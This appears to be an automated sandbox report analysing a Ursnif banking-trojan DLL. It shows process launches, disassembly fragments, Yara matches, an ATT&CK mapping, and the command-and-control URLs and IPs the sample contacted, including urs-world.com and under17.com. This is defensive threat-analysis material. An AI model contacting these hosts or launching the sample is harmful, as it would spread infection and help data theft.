Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:6320 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5316 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5316 CREDAT:17416 /prefetch:2	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_10001745 LoadLibraryA,GetProcAddress,

1_2_10001745

Source: swlsGbeQwT.dll

Static PE information: section name: .code

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C348F push dword ptr [ebp-10h]; mov dword ptr [esp], ecx	1_2_024C34A1
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C348F push dword ptr [ebp-0Ch]; mov dword ptr [esp], ecx	1_2_024C3632
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C348F push 00000000h; mov dword ptr [esp], edx	1_2_024C37FE
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C348F push edx; mov dword ptr [esp], 00000002h	1_2_024C384A
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C348F push 00000000h; mov dword ptr [esp], ecx	1_2_024C38D7
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C6194 push eax; mov dword ptr [esp], 00000004h	1_2_024C61AF
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C6194 push esi; mov dword ptr [esp], 00001000h	1_2_024C61B7
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C6194 push 00000000h; mov dword ptr [esp], ebp	1_2_024C6267
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C4859 push dword ptr [ebp-08h]; mov dword ptr [esp], edi	1_2_024C48B7
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C4859 push dword ptr [ebp-10h]; mov dword ptr [esp], edx	1_2_024C490D
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C4859 push 00000000h; mov dword ptr [esp], ecx	1_2_024C4918
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C4859 push dword ptr [ebp-10h]; mov dword ptr [esp], edi	1_2_024C4990
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C4859 push dword ptr [ebp-0Ch]; mov dword ptr [esp], ecx	1_2_024C4A23
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C4859 push 00000000h; mov dword ptr [esp], ebp	1_2_024C4A2E
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C4859 push ebx; mov dword ptr [esp], 00000001h	1_2_024C4AD0
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C4859 push dword ptr [ebp-0Ch]; mov dword ptr [esp], eax	1_2_024C4BE3
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C4859 push 00000000h; mov dword ptr [esp], edx	1_2_024C4C36
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C4859 push dword ptr [ebp-08h]; mov dword ptr [esp], edi	1_2_024C4D62
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C4859 push 00000000h; mov dword ptr [esp], edx	1_2_024C4D67
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C4859 push 00000000h; mov dword ptr [esp], ecx	1_2_024C4D74
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C237B push 00000000h; mov dword ptr [esp], edi	1_2_024C2502
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C237B push 00000000h; mov dword ptr [esp], ecx	1_2_024C2524
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C237B push dword ptr [ebp-10h]; mov dword ptr [esp], ecx	1_2_024C269D
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C237B push dword ptr [ebp-10h]; mov dword ptr [esp], esi	1_2_024C2737
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C237B push edi; mov dword ptr [esp], 00000004h	1_2_024C2759
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C247B push 00000000h; mov dword ptr [esp], eax	1_2_024C2498
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C247B push 00000000h; mov dword ptr [esp], edi	1_2_024C2502
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C247B push 00000000h; mov dword ptr [esp], ecx	1_2_024C2524
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C247B push dword ptr [ebp-10h]; mov dword ptr [esp], ecx	1_2_024C269D
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C247B push dword ptr [ebp-10h]; mov dword ptr [esp], esi	1_2_024C2737
Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C247B push edi; mov dword ptr [esp], 00000004h	1_2_024C2759

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000002.228615251.0000000001180000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.463340848.0000000003570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.462142613.00000000009C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.1180000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.9c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.3570000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000005.00000003.332207803.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283968924.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283941629.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283743972.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332108826.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332246641.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332181859.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283981792.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332262549.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332227355.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283911802.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283659543.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332279933.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332152085.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283820403.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.327016038.0000000002FBB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.406489118.0000000002EBD000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283873534.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6104, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 3512, type: MEMORY

Source: C:\Windows\System32\loaddll32.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe

1_2_00A112D4

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_10001745 LoadLibraryA,GetProcAddress,

1_2_10001745

Source: C:\Windows\System32\loaddll32.exe	Code function: 1_2_024C2DF5 or edx, dword ptr fs:[00000030h]		1_2_024C2DF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_04792DF5 or edx, dword ptr fs:[00000030h]		4_2_04792DF5

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\swlsGbeQwT.dll',#1

Jump to behavior

Source: loaddll32.exe, 00000001.00000002.463517172.00000000010B0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.463533375.0000000003960000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: loaddll32.exe, 00000001.00000002.463517172.00000000010B0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.463533375.0000000003960000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000001.00000002.463517172.00000000010B0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.463533375.0000000003960000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000001.00000002.463517172.00000000010B0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.463533375.0000000003960000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_00A1269C cpuid

1_2_00A1269C

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_1000102F GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,

1_2_1000102F

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_00A1269C RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree,

1_2_00A1269C

Source: C:\Windows\System32\loaddll32.exe

Code function: 1_2_10001850 CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

1_2_10001850

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000002.228615251.0000000001180000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.463340848.0000000003570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.462142613.00000000009C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.1180000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.9c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.3570000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000005.00000003.332207803.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283968924.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283941629.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283743972.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332108826.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332246641.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332181859.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283981792.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332262549.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332227355.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283911802.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283659543.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332279933.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332152085.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283820403.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.327016038.0000000002FBB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.406489118.0000000002EBD000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283873534.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6104, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 3512, type: MEMORY

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000004.00000002.228615251.0000000001180000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.463340848.0000000003570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.462142613.00000000009C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.1180000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.9c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.3570000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.10000000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.loaddll32.exe.10000000.4.unpack, type: UNPACKEDPE

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000005.00000003.332207803.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283968924.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283941629.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283743972.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332108826.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332246641.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332181859.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283981792.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332262549.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332227355.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283911802.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283659543.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332279933.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.332152085.0000000005AE8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283820403.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.327016038.0000000002FBB000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.406489118.0000000002EBD000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.283873534.0000000003138000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 6104, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 3512, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation2	Path Interception	Process Injection12	Masquerading1	Input Capture1	System Time Discovery1	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Query Registry1	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information1	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Rundll321	NTDS	Account Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing1	LSA Secrets	System Owner/User Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	File and Directory Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	System Information Discovery13	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
swlsGbeQwT.dll	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.2.loaddll32.exe.a10000.1.unpack	100%	Avira	HEUR/AGEN.1108168	Download File
5.2.rundll32.exe.10000000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File
5.2.rundll32.exe.ff0000.1.unpack	100%	Avira	HEUR/AGEN.1108168	Download File
1.2.loaddll32.exe.10000000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen8	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://urs-world.com/joomla/nyEGAUlxBMi/vJvW_2B31g3fIm/PJCeDCcMkYuKm3mBUGX2v/CaL9euzPRyB3Opxa/gIJ_2B	0%	Avira URL Cloud	safe
http://under17.com/joomla/4GzHZlWwziXisjjV671v1LT/84UlNg6ksC/Tggq4HFqFymyDjTMV/yfv7eGSUkzcX/52ysYFgN	0%	Avira URL Cloud	safe
http://urs-world.com/joomla/nyEGAUlxBMi/vJvW_2B31g3fIm/PJCeDCcMkYuKm3mBUGX2v/CaL9euzPRyB3Opxa/g	0%	Avira URL Cloud	safe
http://urs-world.com/joomla/LeY03GyFH8M9ux9Q/fhlrqhT7AEWHy5S/Gj6LLiVr5gZ24pcdoa/r9hh9gZTx/jUFCXHTg6g	0%	Avira URL Cloud	safe
http://www.wikipedia.com/	0%	URL Reputation	safe
http://www.wikipedia.com/	0%	URL Reputation	safe
http://www.wikipedia.com/	0%	URL Reputation	safe
http://urs-world.com/joomlaaL9euzPRyB3Opxa/gIJ_2BkxmWXAk4B/fa_2B_2FtCKRxglTM9/4omZ9P4fz/YwGhMR3ktfTd	0%	Avira URL Cloud	safe
http://under17.com/joomla/bY332Z6nIw/mpCJzusDxBf4026z_/2BrGN0t7fT0r/o1u_2FGT8iB/giLHX9xa5y4nT5/E4muy	0%	Avira URL Cloud	safe
http://under17.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
urs-world.com	185.186.244.95	true	true	unknown
under17.com	185.243.114.196	true	true	unknown
resolver1.opendns.com	208.67.222.222	true	false	high
login.microsoftonline.com	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://urs-world.com/joomla/nyEGAUlxBMi/vJvW_2B31g3fIm/PJCeDCcMkYuKm3mBUGX2v/CaL9euzPRyB3Opxa/gIJ_2B	loaddll32.exe, 00000001.00000002.462447224.0000000000A2B000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://under17.com/joomla/4GzHZlWwziXisjjV671v1LT/84UlNg6ksC/Tggq4HFqFymyDjTMV/yfv7eGSUkzcX/52ysYFgN	rundll32.exe, 00000005.00000002.461626922.00000000010CA000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://www.nytimes.com/	msapplication.xml3.14.dr	false		high
https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e	{CA463ED7-9599-11EB-90E4-ECF4BB862DED}.dat.14.dr, ~DF018886609A78E0A2.TMP.14.dr	false		high
http://urs-world.com/joomla/nyEGAUlxBMi/vJvW_2B31g3fIm/PJCeDCcMkYuKm3mBUGX2v/CaL9euzPRyB3Opxa/g	loaddll32.exe, 00000001.00000002.463517172.00000000010B0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.463533375.0000000003960000.00000002.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://urs-world.com/joomla/LeY03GyFH8M9ux9Q/fhlrqhT7AEWHy5S/Gj6LLiVr5gZ24pcdoa/r9hh9gZTx/jUFCXHTg6g	loaddll32.exe, 00000001.00000003.455028914.0000000000A95000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.youtube.com/	msapplication.xml7.14.dr	false		high
http://www.wikipedia.com/	msapplication.xml6.14.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.amazon.com/	msapplication.xml.14.dr	false		high
http://www.live.com/	msapplication.xml2.14.dr	false		high
http://urs-world.com/joomlaaL9euzPRyB3Opxa/gIJ_2BkxmWXAk4B/fa_2B_2FtCKRxglTM9/4omZ9P4fz/YwGhMR3ktfTd	loaddll32.exe, 00000001.00000003.457824149.0000000000A95000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://under17.com/joomla/bY332Z6nIw/mpCJzusDxBf4026z_/2BrGN0t7fT0r/o1u_2FGT8iB/giLHX9xa5y4nT5/E4muy	{E47F4CBC-9599-11EB-90E4-ECF4BB862DED}.dat.34.dr	false	Avira URL Cloud: safe	unknown
http://under17.com	rundll32.exe, 00000005.00000002.461626922.00000000010CA000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://www.reddit.com/	msapplication.xml4.14.dr	false		high
http://www.twitter.com/	msapplication.xml5.14.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.243.114.196	under17.com	Netherlands		31400	ACCELERATED-ITDE	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	381725
Start date:	04.04.2021
Start time:	16:00:51
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	swlsGbeQwT.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal76.troj.winDLL@15/50@9/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 46.9% (good quality ratio 44.5%) Quality average: 78.9% Quality standard deviation: 28.7%
HCA Information:	Successful, ratio: 80% Number of executed functions: 50 Number of non-executed functions: 53
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .dll
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, ielowutil.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe, UsoClient.exe Excluded IPs from analysis (whitelisted): 204.79.197.200, 13.107.21.200, 20.50.102.62, 104.43.139.144, 92.122.145.220, 104.43.193.48, 13.88.21.125, 168.61.161.212, 184.30.20.56, 88.221.62.148, 20.190.160.131, 20.190.160.74, 20.190.160.5, 20.190.160.70, 20.190.160.72, 20.190.160.133, 20.190.160.135, 20.190.160.130, 40.126.31.141, 40.126.31.143, 20.190.159.132, 20.190.159.136, 20.190.159.134, 40.126.31.1, 40.126.31.135, 40.126.31.8, 92.122.213.247, 92.122.213.194, 93.184.221.240, 20.54.26.129, 152.199.19.161, 20.82.210.154, 104.215.148.63, 40.76.4.15, 40.112.72.205, 40.113.200.201, 13.77.161.179 Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, store-images.s-microsoft.com-c.edgekey.net, bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, wu.azureedge.net, www.tm.a.prd.aadg.trafficmanager.net, e11290.dspg.akamaiedge.net, iecvlist.microsoft.com, e12564.dspb.akamaiedge.net, go.microsoft.com, login.live.com, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, wu.wpc.apr-52dd2.edgecastdns.net, au-bg-shim.trafficmanager.net, www.bing.com, fs.microsoft.com, dual-a-0001.a-msedge.net, ie9comview.vo.msecnd.net, wu.ec.azureedge.net, ris-prod.trafficmanager.net, update4.microsoft.com, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, www.tm.a.prd.aadg.akadns.net, login.msa.msidentity.com, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, go.microsoft.com.edgekey.net, microsoft.com, skypedataprdcolwus15.cloudapp.net, www.tm.lg.prod.aadmsa.trafficmanager.net, cs9.wpc.v0cdn.net Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/381725/sample/swlsGbeQwT.dll

Simulations

Behavior and APIs

Time	Type	Description
16:01:47	API Interceptor	1x Sleep call for process: loaddll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
185.243.114.196	document-1048628209.xls	Get hash	malicious	Browse
	document-1771131239.xls	Get hash	malicious	Browse
	document-1370071295.xls	Get hash	malicious	Browse
	document-69564892.xls	Get hash	malicious	Browse
	document-1320073816.xls	Get hash	malicious	Browse
	document-184653858.xls	Get hash	malicious	Browse
	document-1729033050.xls	Get hash	malicious	Browse
	document-540475316.xls	Get hash	malicious	Browse
